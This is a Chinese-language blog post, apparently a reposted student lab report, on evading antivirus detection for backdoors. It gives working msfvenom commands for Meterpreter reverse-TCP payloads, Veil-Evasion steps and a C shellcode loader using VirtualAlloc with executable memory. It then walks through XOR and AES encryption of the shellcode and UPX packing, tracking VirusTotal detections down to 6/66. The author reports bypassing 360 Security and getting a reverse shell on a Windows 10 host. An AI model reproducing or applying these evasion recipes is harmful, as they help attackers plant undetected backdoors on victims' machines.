免殺原理與實踐


殺軟原理

目前殺毒軟件的原理主要有3種:

1.引擎與病毒庫的交互作用,通過特征碼提取與病毒庫中的特征碼進行比對識別病毒。

2.啟發式Heuristic,通過程序的一些行為和特征來判斷。

3.在虛擬機技術上的啟發式,通過建立一個虛擬環境運行程序對其進行全方位的檢測。

了解更多可見“殺毒軟件工作原理 及 現在主要殺毒技術”。

免殺原理

免殺就是躲殺軟的識別,那就從殺軟的原理下手。

1.改變特征碼

如果你手里只有EXE,加殼:壓縮殼 加密殼

有shellcode(像Meterpreter),用encode進行編碼,基於payload重新編譯生成可執行文件

有源代碼,用其他語言進行重寫再編譯(veil-evasion)

2.改變行為

通訊方式

  盡量使用反彈式連接,即服務端(被控制端)會主動連接客戶端(控制端)。

  使用隧道技術,隧道協議將其它協議的數據幀或包重新封裝然后通過隧道發送,把所有要傳送的數據全部封裝到合法的報文里進行傳送以繞過防火牆。

  加密通訊數據

操作模式

  基於內存操作,像基於特征碼的查殺大部分是掃描硬盤上的文件,所以可以考慮在用到后門時遠程傳輸放在內存中運行,而不是存在硬盤上。但也有部分殺毒軟件會掃描內存,一般可以采用加入nop指令來躲過查殺。

  減少對系統的修改

  加入混淆作用的正常功能代碼

免殺實踐

本人使用的殺軟是360安全衛士11版本

將metasploit直接生成的后門上傳到virusTotal上通過率是51/66。

msf編碼器編碼

既然殺軟可以通過特征碼識別我們的后門,那我們就想辦法先把后門經過編碼,使用時再解碼,這樣就把后門的特征碼隱藏起來了,下面我們利用metasploit自帶的編碼器試一試效果。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe

將metasploit編碼后的后門上傳到virusTotal上通過率是50/66。基本沒有變化,因為shikata_ga_nai總會有解碼(decoder stub)部分需要加入的exe中,AV廠商只要盯住這部分就可以了,尤其是metasploit這么出名的滲透軟件。

veil-evasion免殺

安裝

1.apt-get直接裝,不過得換源

2.在github上可以搜到各種版本,git clone下來找到其中的setup.sh並運行安裝就可以

其實veil的安裝網上很多教程,這里主要是本人說明一下遇到的錯誤,安裝結束后輸入veil提示錯誤

module 'Tools.Ordnance' has no attribute 'Tool'#錯誤

在老師的指導下只要把/usr/share/veil/Tools/Evasion/evasion_common/shellcode_help.py和/usr/share/veil/Tools/Evasion/Tool.py中的import Tool as Ordnance_Import刪掉就可以了

利用veil中的powershell實現后門

sudo進入veil,然后按照提示use 1,list列出所有可用的payload,選中21 powershell,use 21,

set LHOST xx.xx.xx.xx,

generate

之后會提示生成的文件名,輸入后顯示生成的文件路徑,/usr/share/veil-output/source下就可以看到我們生成的.bat批處理文件,我們把它拷貝到windows下運行就可以連上。

同樣也可以利用py源碼生成,選取python寫的payload,kali里面因為沒有pyinstaller和py2exe,所以先把/usr/share/veil-output/source下的.py文件拷到windows下編譯成exe即可,

pyinstaller -F -w py_https.py

如果安裝了pip,可以直接pip install pyinstaller。

最后powershell在virustotal上的通過率是23/56,python生成的exe通過率是15/66。而且360都沒有掃到這兩個后門。

利用shellcode編程實現免殺

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.201.136 LPORT=1213 -f c 

 生成shellcode后我們把它拿到visial studio中加以調用就可以運行。

LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((
void(*)())Memory)();

buf就是上面生成的那堆十六進制的shellcode,上面的語句首先生成一個沒有類型的指針,然后我們用memcpy將shellcode拷貝到改指針對應的內存下,最后以函數調用這個內存地址就成功讓我們的shellcode運行起來了。運行后在虛擬機端可以連接到win10主機,不過這樣還沒法躲過查殺,會直接被360查殺。在virusTotal上的通過率也只有24/66。

猜測肯定是AV廠商也都知道把metasploit生成的這些shellcode當做特征碼,那就加密一波,先用0xff對原shellcode進行異或。通過率提高到了16/66。

之后換了aes加密發現效果並不是很好,只有14/66,然后試着把上面幾行調用語句去掉也就是不調用我們的shellcode也會被13個殺軟檢測出來。然后就很納悶到底是哪里出了問題讓殺軟殺出來了,不知道是有內存查殺還是什么其他方法識別的。

先不管那么多試着結合其他方法再測試一次,用upx對上面的aes加密的shellcode程序實施加殼,

upx source.exe -o dest.exe#source源文件名,dest生成文件名

沒想到效果還可以,只有6個可以掃出來了,如下圖。

然后用360掃描是掃不出來的,之后打開進行運行測試,連接兩三次360依然沒有反應。看來是成功繞過360的防護了。

下面是虛擬機上連接win10的截圖:

可以看到我們在msf里面連接上靶機后執行ps查看運行程序,並且可以看到360安全衛士此時是打開的。

實驗體會

這次實驗是能讓上次實驗變得有意義的實驗,只有免殺,后門才有使用性,也讓我很激動,不過事實總是不盡人意,不得不說這次實驗備受打擊,從下午一直做到晚上,一直嘗試新辦法,一直被360查殺,直到最后要放棄了試了一下看上去最沒用的upx加殼竟然成功繞過了360。這也給我一些經驗,做免殺要從不同方面入手才行,因為我們可以給shellcode加密,可以加殼等等這些都是可以嵌套的,而殺軟看上去並不擅長的一層一層剝開我們的殼,所以用不同的殼來包裝shellcode也不失為一種好辦法。

此次實驗中沒有用到veil-evasion實為無奈,先用apt-get安裝了一遍,報錯沒有module tools,於是我就pip install tools一下,可是又報錯如下,又去github clone了一份,又報錯一樣的錯,都卡在了

module 'Tools.Ordnance' has no attribute 'Tool'#錯誤

 

而每次安裝都要等好久,所以沒有嘗試再安裝一次,直接用shellcode+visal studio做了。一開始我把shellcode做異或后發現有明顯的效果,所以就慣性思維的認為只要換個好一點的加密就可以免殺,於是又用了aes,可惜效果不盡人意。我試着分析其中原因可以沒能找到,不過我認為首先加密之后的數據是不可能被殺軟所知道,也就是硬盤上加密后的shellcode不可能成為被查殺的特征值,然后加密算法我也寫過都沒有被誤判成木馬,所以應該也不是通過加密算法來識別。我懷疑過是函數調用,畢竟一般情況下很少把其他類型的數據拿來做函數調用的,不過我注釋掉調用那部分再編譯上傳檢測通過率基本不變,還是14。這樣我就不知道到底我的后門是哪里出了問題被殺出來,當時也在這糾纏了好久,后來又想試試是不是在內存中被查殺的,試着把機器碼轉匯編在里面加nop,不過沒學過匯編是在進行不下去,改了幾個之后通過率還是提高了一個的,不過依然被360殺了,而且根據后面加殼可以正常運行說明360也不是內存查殺的,到底360是如何查殺我自己寫的shellcode加殼程序的希望有知道原因的大佬能夠給我一些提示,必有重謝!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM